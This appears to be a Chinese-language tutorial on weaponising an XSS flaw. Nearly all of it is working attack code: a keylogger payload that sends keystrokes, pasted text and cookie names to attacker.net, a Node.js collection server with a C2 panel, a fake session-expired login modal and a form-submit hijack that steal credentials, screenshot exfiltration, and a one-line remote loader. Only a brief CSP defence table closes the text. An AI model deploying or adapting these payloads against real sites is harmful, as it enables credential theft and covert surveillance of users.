XSS 高级应用:钓鱼页面嵌入 + 零配置键盘记录系统
一、场景:一个"完美"的 XSS 后渗透武器
我们假设你已经在目标网站注入了 XSS(不管是反射型、存储型还是 DOM 型)。现在你需要充分利用这个 XSS 能做的所有事情:
- 📝 实时记录受害者在该站点的所有击键(键盘记录)
- 🎯 在页面上叠加一层不可见的钓鱼表单
- 📸 对受害者的屏幕做周期性截图
- 🕸️ 枚举受害者的浏览历史和书签
- 🖼️ 抓取 DOM 结构,辅助你写更有针对性的钓鱼页面
- 📡 所有数据实时推送到你的监听服务器
二、前端键盘记录器(极简版)
2.1 核心思路
受害者按键 → JS 监听 keypress → 缓存 → 定时 / 关键点上传到攻击者服务器
2.2 完整实现(约 150 行)
把下面的 Payload 注入到 XSS 点中:
// ============================================================
// XSS KeyLogger - 轻量级前端键盘记录器
// 使用方法:把整个代码块作为 XSS Payload 注入
// ============================================================
(function() {
'use strict';
// ========== 攻击者服务器地址 ==========
var C2_BEACON = 'https://attacker.net/collect'; // 数据接收端点
var C2_CALLBACK = 'https://attacker.net/callback';
// ========== 运行时状态 ==========
var state = {
buffer: [], // 键盘输入缓冲区
bufferMax: 200, // 缓冲区最大行数
flushInterval: 3000, // 上传间隔(毫秒)
lastFlush: 0,
victimInfo: {},
startTime: Date.now()
};
// ========== 1. 初始化受害者信息 ==========
function collectVictimInfo() {
var info = {
url: location.href,
ref: document.referrer,
ua: navigator.userAgent,
tz: Intl.DateTimeFormat().resolvedOptions().timeZone,
lang: navigator.language,
screen: screen.width + 'x' + screen.height,
cookies: [],
lsKeys: [],
sessionId: Math.random().toString(36).slice(2, 10)
};
try {
// 非 HttpOnly Cookie 才能读到
info.cookies = document.cookie ? document.cookie.split(';').map(function(p) {
return p.trim().split('=')[0];
}) : [];
} catch(e) {}
try {
for (var i=0; i<localStorage.length; i++) {
info.lsKeys.push(localStorage.key(i));
}
} catch(e) {}
state.victimInfo = info;
sendData({ type: 'init', data: info });
}
// ========== 2. 键盘事件监听 ==========
function startKeylogger() {
document.addEventListener('keypress', function(e) {
var key = normalizeKey(e);
var entry = {
t: Date.now(),
k: key,
el: e.target ? getElementSignature(e.target) : null,
url: location.href
};
state.buffer.push(entry);
maybeFlush();
}, true);
// 也监听 paste 和 input 事件(捕获粘贴密码的场景)
document.addEventListener('paste', function(e) {
var pasted = (e.clipboardData || window.clipboardData).getData('text');
state.buffer.push({
t: Date.now(),
k: '[PASTE:' + pasted.length + 'chars]',
content: pasted,
url: location.href
});
maybeFlush();
}, true);
// 监听密码框的值变化(不管有没有按 Enter)
document.addEventListener('input', function(e) {
if (e.target && e.target.type === 'password') {
state.buffer.push({
t: Date.now(),
k: '[PASSWORD_FIELD]',
url: location.href
});
}
}, true);
}
// ========== 3. 按键归一化 ==========
function normalizeKey(e) {
if (e.key === 'Enter') return '
';
if (e.key === 'Tab') return ' ';
if (e.key === 'Escape') return '[ESC]';
if (e.key === 'Backspace') return '[BACKSPACE]';
if (e.key === 'Control') return '';
if (e.key === 'Shift') return '';
if (e.key === 'Alt') return '';
if (e.key === 'Meta') return '';
if (e.key === 'CapsLock') return '[CAPS]';
if (e.key === 'ArrowUp') return '[UP]';
if (e.key === 'ArrowDown') return '[DOWN]';
if (e.key === 'ArrowLeft') return '[LEFT]';
if (e.key === 'ArrowRight') return '[RIGHT]';
if (e.key.charCodeAt(0) >= 32 && e.key.charCodeAt(0) <= 126) {
return e.key; // 可打印 ASCII
}
return '[' + e.key + ']';
}
function getElementSignature(el) {
if (!el || !el.tagName) return null;
var parts = [el.tagName.toLowerCase()];
if (el.id) parts.push('#' + el.id);
if (el.className && typeof el.className === 'string') {
parts.push('.' + el.className.split(' ')[0]);
}
return parts.join('');
}
// ========== 4. 缓冲区满 或 定时器到 就上传 ==========
function maybeFlush() {
if (state.buffer.length >= state.bufferMax ||
Date.now() - state.lastFlush > state.flushInterval) {
flush();
}
}
function flush() {
if (state.buffer.length === 0) return;
var data = state.buffer.slice();
state.buffer = [];
state.lastFlush = Date.now();
sendData({ type: 'keylog', data: data });
}
// ========== 5. 无感知数据发送 ==========
function sendData(payload) {
try {
// 方式 A:Image beacon
var img = new Image();
img.onload = img.onerror = function(){};
var json = JSON.stringify({
s: state.victimInfo.sessionId,
ts: Date.now(),
p: payload
});
// 如果数据太长,用 POST via fetch
if (json.length > 1800) {
sendViaPost(json);
} else {
img.src = C2_BEACON + '?d=' + encodeURIComponent(json);
}
} catch(e) {}
}
function sendViaPost(json) {
try {
var xhr = new XMLHttpRequest();
xhr.open('POST', C2_BEACON, true);
xhr.withCredentials = false;
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('X-Payload', '1');
xhr.send(json);
} catch(e) {
// 跨域失败时回退到 fetch no-cors
fetch(C2_BEACON, {
method: 'POST',
mode: 'no-cors',
body: json
});
}
}
// ========== 6. 页面卸载前保存最后一段 ==========
window.addEventListener('beforeunload', flush);
// ========== 启动 ==========
setTimeout(function() {
collectVictimInfo();
startKeylogger();
}, 500); // 延迟 500ms 等页面加载完成
})();
三、攻击者端:数据接收服务器
3.1 Node.js + Express 后端
// collector-server.js —— 攻击者服务器上运行
const express = require('express');
const fs = require('fs');
const path = require('path');
const cors = require('cors');
const app = express();
app.use(cors());
app.use(express.json({ limit: '2mb' }));
const DATA_DIR = path.join(__dirname, 'victim_data');
if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR);
// ========== 数据接收端点 ==========
app.all('/collect', (req, res) => {
let payload;
if (req.method === 'GET') {
const d = req.query.d;
try { payload = JSON.parse(decodeURIComponent(d)); }
catch(e) { return res.send('err'); }
} else {
payload = req.body;
}
const sid = payload.s || 'unknown';
const dir = path.join(DATA_DIR, sid);
if (!fs.existsSync(dir)) fs.mkdirSync(dir);
const logFile = path.join(dir, 'session.log');
const line = JSON.stringify({
ts: new Date().toISOString(),
remote: req.ip,
...payload
}) + '
';
fs.appendFileSync(logFile, line);
// 实时推送到 WebSocket 面板(可选)
wsBroadcast(line);
// 返回 1x1 GIF,浏览器无感知
res.header('Content-Type', 'image/gif');
res.send(Buffer.from('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7', 'base64'));
});
// ========== 实时监控面板(简单版) ==========
app.get('/panel', (req, res) => {
res.send(`
<!DOCTYPE html>
<html><head>
<meta charset="utf-8"><title>XSS C2 Panel</title>
<style>
body{font-family:monospace;background:#111;color:#0f0;padding:20px}
.log{border-left:3px solid #0f0;padding:10px;margin:10px 0;background:#000}
</style>
</head><body>
<h1>Victim Sessions</h1>
<div id="sessions"></div>
<script>
setInterval(function(){
fetch('/api/sessions').then(r=>r.json()).then(d=>{
document.getElementById('sessions').innerHTML = d.map(s=>
'<div class="log"><b>'+s.id+'</b> ('+s.lastSeen+')<pre>'+JSON.stringify(s.info,null,2)+'</pre></div>'
).join('');
});
},2000);
</script>
</body></html>`);
});
app.get('/api/sessions', (req, res) => {
const sessions = fs.readdirSync(DATA_DIR).map(id => {
const files = fs.readdirSync(path.join(DATA_DIR, id));
const logPath = path.join(DATA_DIR, id, 'session.log');
let last = 'unknown';
if (fs.existsSync(logPath)) {
const lines = fs.readFileSync(logPath, 'utf8').trim().split('
');
last = lines[lines.length-1];
}
return { id, lastSeen: last };
});
res.json(sessions);
});
// ========== 简易 WebSocket 广播 ==========
const { WebSocketServer } = require('ws');
const wss = new WebSocketServer({ port: 3001 });
function wsBroadcast(line) {
wss.clients.forEach(c => {
if (c.readyState === 1) c.send(line);
});
}
app.listen(8080, () => {
console.log('[*] C2 server running');
console.log('[*] Data dir:', DATA_DIR);
console.log('[*] Collect endpoint: http://0.0.0.0:8080/collect');
console.log('[*] Panel: http://0.0.0.0:8080/panel');
});
3.2 数据存储结构
victim_data/ ├── a1b2c3d4/ # 每个受害者一个子目录 │ ├── session.log # 原始日志 │ └── screenshots/ # 如果加了截图功能 │ ├── 2026-08-06T14-30-01.png │ └── 2026-08-06T14-32-15.png ├── e5f6g7h8/ │ └── session.log └── ...
3.3 日志示例
{"ts":"2026-08-06T14:30:01.123Z","s":"a1b2c3d4","ts":1754893801123,"p":{"type":"init","data":{"url":"https://victim.com/dashboard","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/125.0","lang":"zh-CN","cookies":["session"]}}}
{"ts":"2026-08-06T14:30:05.456Z","s":"a1b2c3d4","ts":1754893805456,"p":{"type":"keylog","data":[{"t":1754893805001,"k":"u","el":"input#username","url":"https://victim.com/login"},{"t":1754893805100,"k":"a","el":"input#username"},{"t":1754893805200,"k":"d"},{"t":1754893805300,"k":"m"},{"t":1754893805400,"k":"i"},{"t":1754893805500,"k":"n"},{"t":1754893805600,"k":"
"},{"t":1754893805700,"k":"[PASSWORD_FIELD]"}]}}
四、钓鱼表单注入(Overlay Phishing)
4.1 在现有页面上叠加钓鱼层
假设目标是"攻击者希望诱导用户重新输入密码":
(function() {
'use strict';
var PHISH_URL = 'https://attacker.net/fish-gate';
function injectPhishingOverlay() {
// 如果页面已经有登录表单,就原地替换 submit 行为
var loginForms = document.querySelectorAll('form');
loginForms.forEach(function(form) {
form.addEventListener('submit', function(e) {
e.preventDefault();
// 收集所有字段
var data = {};
var fd = new FormData(form);
for (var pair of fd.entries()) {
data[pair[0]] = pair[1];
}
data._fake = true;
data._url = location.href;
data._ts = Date.now();
// 发送给攻击者
fetch(PHISH_URL, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data),
mode: 'no-cors'
});
// 显示一个"重新加载"的假动画,让受害者以为自己输错了密码
var btn = form.querySelector('button[type=submit]');
if (btn) {
btn.disabled = true;
btn.textContent = '正在验证...';
}
setTimeout(function() {
alert('密码错误或会话已过期,请重新尝试');
// 清除可能缓存的凭据
form.reset();
if (btn) { btn.disabled = false; btn.textContent = '登录'; }
}, 1500);
}, true);
});
}
// 更激进:直接在页面顶层叠加一个假的登录模态框
function createFakeModal() {
var mask = document.createElement('div');
mask.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.7);z-index:2147483646;display:flex;align-items:center;justify-content:center';
mask.innerHTML = '<div style="background:#fff;padding:40px;border-radius:8px;width:360px;font-family:sans-serif">' +
'<h2 style="margin:0 0 20px;color:#333">会话即将过期</h2>' +
'<p style="color:#666;margin-bottom:20px">为了安全,请重新输入您的密码</p>' +
'<input id="fuser" placeholder="用户名/邮箱" style="width:100%;padding:10px;margin-bottom:10px;border:1px solid #ddd;border-radius:4px">' +
'<input id="fpass" type="password" placeholder="密码" style="width:100%;padding:10px;margin-bottom:15px;border:1px solid #ddd;border-radius:4px">' +
'<button id="fsub" style="width:100%;padding:12px;background:#1877f2;color:#fff;border:none;border-radius:4px;font-size:15px">确认</button>' +
'</div>';
document.body.appendChild(mask);
var form = {
user: mask.querySelector('#fuser'),
pass: mask.querySelector('#fpass'),
btn: mask.querySelector('#fsub')
};
form.user.focus();
form.btn.addEventListener('click', function() {
var creds = {
user: form.user.value,
pass: form.pass.value,
url: location.href,
ts: Date.now()
};
fetch(PHISH_URL, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(creds),
mode: 'no-cors'
}).then(function() {
mask.remove();
});
});
}
// 策略:页面加载 3 秒后弹出假模态
setTimeout(createFakeModal, 3000);
// 同时替换所有现有表单的 submit 行为
setTimeout(injectPhishingOverlay, 1000);
})();
4.2 钓鱼效果
┌─────────────────────────────────────────────┐
│ 受害者打开正常的 victim.com/account 页面 │
│ │ │
│ 3 秒后 ↓ │
│ ┌───────────────────────────────────────┐ │
│ │ [页面变暗蒙层] │ │
│ │ ┌─────────────────────────────────┐ │ │
│ │ │ 会话即将过期 │ │ │
│ │ │ 为了安全,请重新输入您的密码 │ │ │
│ │ │ │ │ │
│ │ │ [ 用户名/邮箱 ] │ │ │
│ │ │ [ 密码 ] │ │ │
│ │ │ │ │ │
│ │ │ [ 确认 ] │ │ │
│ │ └─────────────────────────────────┘ │ │
│ └───────────────────────────────────────┘ │
└─────────────────────────────────────────────┘
受害者以为是正常的安全提示 → 输入了管理员密码 → 攻击者收到完整凭据
五、进阶功能:DOM 截图
5.1 用 html2canvas 做 DOM 截图
// 如果目标站点已经加载了 html2canvas(或攻击者能动态引入)
var script = document.createElement('script');
script.src = 'https://cdn.jsdelivr.net/npm/html2canvas@1.4.1/dist/html2canvas.min.js';
script.onload = function() {
html2canvas(document.body).then(function(canvas) {
canvas.toBlob(function(blob) {
var fd = new FormData();
fd.append('img', blob, 'shot.png');
fd.append('url', location.href);
fetch('https://attacker.net/upload', {
method: 'POST',
body: fd,
mode: 'no-cors'
});
});
});
};
document.head.appendChild(script);
5.2 定期截图
// 每 30 秒截一次
setInterval(function() {
if (typeof html2canvas === 'function') {
html2canvas(document.body, { logging: false }).then(function(c) {
c.toBlob(function(b) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.net/upload', true);
var fd = new FormData();
fd.append('img', b, 'screen.png');
fd.append('ts', Date.now());
xhr.send(fd);
});
});
}
}, 30000);
5.3 如果没有 html2canvas:WebRTC Screen Capture
// 需要受害者授权(弹出原生权限框),但能拿到真正的屏幕画面
navigator.mediaDevices.getDisplayMedia({video: true}).then(function(stream) {
var video = document.createElement('video');
video.srcObject = stream;
video.play();
var canvas = document.createElement('canvas');
setInterval(function() {
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
canvas.getContext('2d').drawImage(video, 0, 0);
canvas.toBlob(function(b) {
var fd = new FormData();
fd.append('s', b);
fetch('https://attacker.net/upload', {method:'POST', body:fd, mode:'no-cors'});
});
}, 5000);
});
六、完整 Payload Bundle(一键加载)
把所有功能打包成一个"主加载器",真正在实战中只需要注入这一行:
(function(){var s=document.createElement('script');s.src='https://attacker.net/pack.js';document.head.appendChild(s)})();
攻击者的 pack.js 包含完整的键盘记录 + 钓鱼 + 截图逻辑,版本更新/增减功能都不需要再重新投送 XSS。
七、防御
| 威胁 | 防御手段 |
|---|---|
| 键盘记录 | CSP script-src 'self' 阻止外部脚本加载 + 不允许内联脚本 |
| 钓鱼 Overlay | X-Frame-Options: DENY + 响应头 CSP frame-ancestors |
| 敏感字段 | 用 <input autocomplete="new-password"> 避免被扩展自动填充/记录 |
| 截图 | 禁止第三方脚本引入 html2canvas |
| 数据上传 | CSP connect-src 'self' 禁止 fetch/XHR 跨域 |
最有效的一条:CSP。 一条 script-src 'self' 同时废掉键盘记录、钓鱼注入、截图脚本三大武器。